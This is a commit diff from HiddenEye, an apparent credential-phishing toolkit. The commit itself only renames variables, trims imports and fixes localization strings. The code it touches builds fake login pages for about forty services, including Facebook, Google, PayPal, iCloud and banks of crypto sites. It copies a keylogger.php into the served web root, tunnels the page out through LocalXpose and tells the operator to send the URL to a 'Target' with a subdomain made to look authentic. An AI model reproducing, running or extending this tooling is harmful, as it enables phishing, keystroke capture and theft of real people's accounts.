Just fixed random bugs.

This commit is contained in:
DarkMidus 2020-08-09 21:41:30 -05:00
parent 20ebbcc9c8
commit d9ae3796ae
6 changed files with 95 additions and 108 deletions

View File

@ -303,7 +303,7 @@ def start_localxpose(port):
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
print(localization.lang_start_localxpose["localxpose_random_server"]) print(localization.lang_rand_localxpose["localxpose_random_server"])
run_command( run_command(
[ [
"External_Software/loclx", "External_Software/loclx",
@ -339,12 +339,8 @@ def start_localxpose(port):
def custom(port): def custom(port):
print(""" print(global_localization.small_logo)
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} print("""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
.format(default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format( lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
@ -362,7 +358,7 @@ def start_localxpose(port):
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------""" {0}** BY:DARKSEC \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[2])) .format(default_palette[0], default_palette[2]))
print( print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}" "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"

View File

@ -45,176 +45,176 @@ def start_main_menu():
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["facebook_operation_modes"]) localization.lang_start_main_menu["facebook_operation_modes"])
customOption = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("Facebook", customOption) start_phishing_page("Facebook", custom_option)
elif option == "02": elif option == "02":
module_loading_message("Google") module_loading_message("Google")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["google_operation_modes"]) localization.lang_start_main_menu["google_operation_modes"])
customOption = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("Google", customOption) start_phishing_page("Google", custom_option)
elif option == "03": elif option == "03":
module_loading_message("LinkedIn") module_loading_message("LinkedIn")
customOption = "" custom_option = ""
start_phishing_page("LinkedIn", customOption) start_phishing_page("LinkedIn", custom_option)
elif option == "04": elif option == "04":
module_loading_message("GitHub") module_loading_message("GitHub")
customOption = "" custom_option = ""
start_phishing_page("GitHub", customOption) start_phishing_page("GitHub", custom_option)
elif option == "05": elif option == "05":
module_loading_message("StackOverflow") module_loading_message("StackOverflow")
customOption = "" custom_option = ""
start_phishing_page("StackOverflow", customOption) start_phishing_page("StackOverflow", custom_option)
elif option == "06": elif option == "06":
module_loading_message("WordPress") module_loading_message("WordPress")
customOption = "" custom_option = ""
start_phishing_page("WordPress", customOption) start_phishing_page("WordPress", custom_option)
elif option == "07": elif option == "07":
module_loading_message("Twitter") module_loading_message("Twitter")
customOption = "" custom_option = ""
start_phishing_page("Twitter", customOption) start_phishing_page("Twitter", custom_option)
elif option == "08": elif option == "08":
module_loading_message("Instagram") module_loading_message("Instagram")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["instagram_operation_modes"]) localization.lang_start_main_menu["instagram_operation_modes"])
customOption = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("Instagram", customOption) start_phishing_page("Instagram", custom_option)
elif option == "09": elif option == "09":
module_loading_message("Snapchat") module_loading_message("Snapchat")
customOption = "" custom_option = ""
start_phishing_page("Snapchat", customOption) start_phishing_page("Snapchat", custom_option)
elif option == "10": elif option == "10":
module_loading_message("Yahoo") module_loading_message("Yahoo")
customOption = "" custom_option = ""
start_phishing_page("Yahoo", customOption) start_phishing_page("Yahoo", custom_option)
elif option == "11": elif option == "11":
module_loading_message("Twitch") module_loading_message("Twitch")
customOption = "" custom_option = ""
start_phishing_page("Twitch", customOption) start_phishing_page("Twitch", custom_option)
elif option == "12": elif option == "12":
module_loading_message("Microsoft") module_loading_message("Microsoft")
customOption = "" custom_option = ""
start_phishing_page("Microsoft", customOption) start_phishing_page("Microsoft", custom_option)
elif option == "13": elif option == "13":
module_loading_message("Steam") module_loading_message("Steam")
customOption = "" custom_option = ""
start_phishing_page("Steam", customOption) start_phishing_page("Steam", custom_option)
elif option == "14": elif option == "14":
module_loading_message("VK") module_loading_message("VK")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["VK_operation_modes"]) localization.lang_start_main_menu["VK_operation_modes"])
customOption = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("VK", customOption) start_phishing_page("VK", custom_option)
elif option == "15": elif option == "15":
module_loading_message("iCloud") module_loading_message("iCloud")
customOption = "" custom_option = ""
start_phishing_page("iCloud", customOption) start_phishing_page("iCloud", custom_option)
elif option == "16": elif option == "16":
module_loading_message("GitLab") module_loading_message("GitLab")
customOption = "" custom_option = ""
start_phishing_page("GitLab", customOption) start_phishing_page("GitLab", custom_option)
elif option == "17": elif option == "17":
module_loading_message("NetFlix") module_loading_message("NetFlix")
customOption = "" custom_option = ""
start_phishing_page("NetFlix", customOption) start_phishing_page("NetFlix", custom_option)
elif option == "18": elif option == "18":
module_loading_message("Origin") module_loading_message("Origin")
customOption = "" custom_option = ""
start_phishing_page("Origin", customOption) start_phishing_page("Origin", custom_option)
elif option == "19": elif option == "19":
module_loading_message("Pinterest") module_loading_message("Pinterest")
customOption = "" custom_option = ""
start_phishing_page("Pinterest", customOption) start_phishing_page("Pinterest", custom_option)
elif option == "20": elif option == "20":
module_loading_message("ProtonMail") module_loading_message("ProtonMail")
customOption = "" custom_option = ""
start_phishing_page("ProtonMail", customOption) start_phishing_page("ProtonMail", custom_option)
elif option == "21": elif option == "21":
module_loading_message("Spotify") module_loading_message("Spotify")
customOption = "" custom_option = ""
start_phishing_page("Spotify", customOption) start_phishing_page("Spotify", custom_option)
elif option == "22": elif option == "22":
module_loading_message("Quora") module_loading_message("Quora")
customOption = "" custom_option = ""
start_phishing_page("Quora", customOption) start_phishing_page("Quora", custom_option)
elif option == "23": elif option == "23":
module_loading_message("PornHub") module_loading_message("PornHub")
customOption = "" custom_option = ""
start_phishing_page("PornHub", customOption) start_phishing_page("PornHub", custom_option)
elif option == "24": elif option == "24":
module_loading_message("Adobe") module_loading_message("Adobe")
customOption = "" custom_option = ""
start_phishing_page("Adobe", customOption) start_phishing_page("Adobe", custom_option)
elif option == "25": elif option == "25":
module_loading_message("Badoo") module_loading_message("Badoo")
customOption = "" custom_option = ""
start_phishing_page("Badoo", customOption) start_phishing_page("Badoo", custom_option)
elif option == "26": elif option == "26":
module_loading_message("CryptoCurrency") module_loading_message("CryptoCurrency")
customOption = "" custom_option = ""
start_phishing_page("CryptoCurrency", customOption) start_phishing_page("CryptoCurrency", custom_option)
elif option == "27": elif option == "27":
module_loading_message("DevianArt") module_loading_message("DevianArt")
customOption = "" custom_option = ""
start_phishing_page("DevianArt", customOption) start_phishing_page("DevianArt", custom_option)
elif option == "28": elif option == "28":
module_loading_message("DropBox") module_loading_message("DropBox")
customOption = "" custom_option = ""
start_phishing_page("DropBox", customOption) start_phishing_page("DropBox", custom_option)
elif option == "29": elif option == "29":
module_loading_message("eBay") module_loading_message("eBay")
customOption = "" custom_option = ""
start_phishing_page("eBay", customOption) start_phishing_page("eBay", custom_option)
elif option == "30": elif option == "30":
module_loading_message("MySpace") module_loading_message("MySpace")
customOption = "" custom_option = ""
start_phishing_page("Myspace", customOption) start_phishing_page("Myspace", custom_option)
elif option == "31": elif option == "31":
module_loading_message("PayPal") module_loading_message("PayPal")
customOption = "" custom_option = ""
start_phishing_page("PayPal", customOption) start_phishing_page("PayPal", custom_option)
elif option == "32": elif option == "32":
module_loading_message("Shopify") module_loading_message("Shopify")
customOption = "" custom_option = ""
start_phishing_page("Shopify", customOption) start_phishing_page("Shopify", custom_option)
elif option == "33": elif option == "33":
module_loading_message("Verizon") module_loading_message("Verizon")
customOption = "" custom_option = ""
start_phishing_page("Verizon", customOption) start_phishing_page("Verizon", custom_option)
elif option == "34": elif option == "34":
module_loading_message("Yandex") module_loading_message("Yandex")
customOption = "" custom_option = ""
start_phishing_page("Yandex", customOption) start_phishing_page("Yandex", custom_option)
elif option == "35": elif option == "35":
module_loading_message("Reddit") module_loading_message("Reddit")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["reddit_operation_modes"]) localization.lang_start_main_menu["reddit_operation_modes"])
customOption = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("Reddit", customOption) start_phishing_page("Reddit", custom_option)
elif option == "36": elif option == "36":
module_loading_message("Subitoit") module_loading_message("Subitoit")
customOption = "" custom_option = ""
start_phishing_page("Subitoit", customOption) start_phishing_page("Subitoit", custom_option)
elif option == "37": elif option == "37":
module_loading_message("PlayStation") module_loading_message("PlayStation")
customOption = "" custom_option = ""
start_phishing_page("PlayStation", customOption) start_phishing_page("PlayStation", custom_option)
elif option == "38": elif option == "38":
module_loading_message("Xbox") module_loading_message("Xbox")
customOption = "" custom_option = ""
start_phishing_page("Xbox", customOption) start_phishing_page("Xbox", custom_option)
elif option == "39": elif option == "39":
module_loading_message("CUSTOM(1)") module_loading_message("CUSTOM(1)")
customOption = "" custom_option = ""
start_phishing_page("CUSTOM(1)", customOption) start_phishing_page("CUSTOM(1)", custom_option)
elif option == "40": elif option == "40":
module_loading_message("CUSTOM(2)") module_loading_message("CUSTOM(2)")
customOption = "" custom_option = ""
start_phishing_page("CUSTOM(2)", customOption) start_phishing_page("CUSTOM(2)", custom_option)
"""PHISHING MODULES BELOW""" """PHISHING MODULES BELOW"""
elif option == "0A": elif option == "0A":
@ -223,8 +223,8 @@ def start_main_menu():
print_sorted_as_menu( print_sorted_as_menu(
localization. localization.
lang_start_main_menu["additional_module_location_operation_modes"]) lang_start_main_menu["additional_module_location_operation_modes"])
customOption = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("LOCATION", customOption) start_phishing_page("LOCATION", custom_option)
else: else:
start_main_menu() start_main_menu()
@ -241,7 +241,7 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
copyfile("WebPages/keylogger.php", "Server/www/keylogger.php") copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
try: try:
remove("link.url") remove("link.url")
except: except FileNotFoundError:
pass pass
if custom_option == "1" and page == "Facebook": if custom_option == "1" and page == "Facebook":

View File

@ -14,13 +14,10 @@ from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import getuid from Defs.ImportManager.unsorted_will_be_replaced import getuid
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import platform from Defs.ImportManager.unsorted_will_be_replaced import platform
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
from Defs.ImportManager.unsorted_will_be_replaced import requests from Defs.ImportManager.unsorted_will_be_replaced import requests
from Defs.ImportManager.unsorted_will_be_replaced import run_command from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import socket
from Defs.ImportManager.unsorted_will_be_replaced import stat from Defs.ImportManager.unsorted_will_be_replaced import stat
from Defs.ImportManager.unsorted_will_be_replaced import try_to_run_command from Defs.ImportManager.unsorted_will_be_replaced import try_to_run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette default_palette = theme.default_palette
@ -33,7 +30,6 @@ def license_handler():
""" """
eula = pathlib_Path("eula.txt") eula = pathlib_Path("eula.txt")
if eula.exists(): if eula.exists():
eula = eula.open("r")
with open("eula.txt", "r") as f: with open("eula.txt", "r") as f:
if "eula = True" in f.read(): if "eula = True" in f.read():
print("Found your license agreement, proceeding...") print("Found your license agreement, proceeding...")
@ -53,8 +49,8 @@ def license_handler():
def exit_message(port=80): # Message when HiddenEye exit def exit_message(port=80): # Message when HiddenEye exit
"""Displays preconfigured message when HiddenEye execution ends or user tries to leave app. """Displays preconfigured message when HiddenEye execution ends or user tries to leave app.
Args: Args: port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides
port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides to restart app again. Defaults to 80. to restart app again. Defaults to 80.
Returns: Returns:
method: If no option is selected, exit message returns to self and gets shown again. method: If no option is selected, exit message returns to self and gets shown again.
@ -95,9 +91,7 @@ def terms_of_service_message():
agreement = license_handler() agreement = license_handler()
if not agreement: if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"]) print(localization.lang_terms_of_service_message["GPL_3.0"])
print( print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
localization.
lang_terms_of_service_message["great_power_great_responsibility"])
print(localization. print(localization.
lang_terms_of_service_message["do_you_accept_license"]) lang_terms_of_service_message["do_you_accept_license"])
print(localization. print(localization.
@ -209,8 +203,8 @@ def log_writer(ctx): # Writing log
Args: Args:
ctx ([type]): [description] ctx ([type]): [description]
""" """
logFile = open("log.txt", "w") log_file = open("log.txt", "w")
logFile.write( log_file.write(
ctx.replace(default_palette[0], "").replace( ctx.replace(default_palette[0], "").replace(
default_palette[1], "").replace(default_palette[2], "").replace( default_palette[1], "").replace(default_palette[2], "").replace(
default_palette[3], "").replace(default_palette[4], "") + "\n") default_palette[3], "").replace(default_palette[4], "") + "\n")

View File

@ -111,7 +111,7 @@ lang_start_serveo = {
).format(default_palette[0], default_palette[2]), ).format(default_palette[0], default_palette[2]),
} }
lang_start_localxpose = { lang_rand_localxpose = {
"localxpose_random_server": "localxpose_random_server":
_("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------" _("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]) ).format(default_palette[0], default_palette[2])

View File

@ -74,7 +74,7 @@ lang_port_selector = {
_("\n {0}[{1}*{0}] Select Port [1-65535]:{1}").format( _("\n {0}[{1}*{0}] Select Port [1-65535]:{1}").format(
default_palette[0], default_palette[4]), default_palette[0], default_palette[4]),
"port_suggestion": "port_suggestion":
_("\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want." _("\n {0}[{1}*{0}] We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
).format(default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
} }

View File

@ -6,10 +6,7 @@
# #
import multiprocessing import multiprocessing
import ssl import ssl
import sys
from os import environ from os import environ
from os import system
import Defs.ActionManager.main_runner as main_runner import Defs.ActionManager.main_runner as main_runner
import Defs.ActionManager.Server.server_runner as server_runner import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.simple_informant as simple_informant import Defs.ActionManager.simple_informant as simple_informant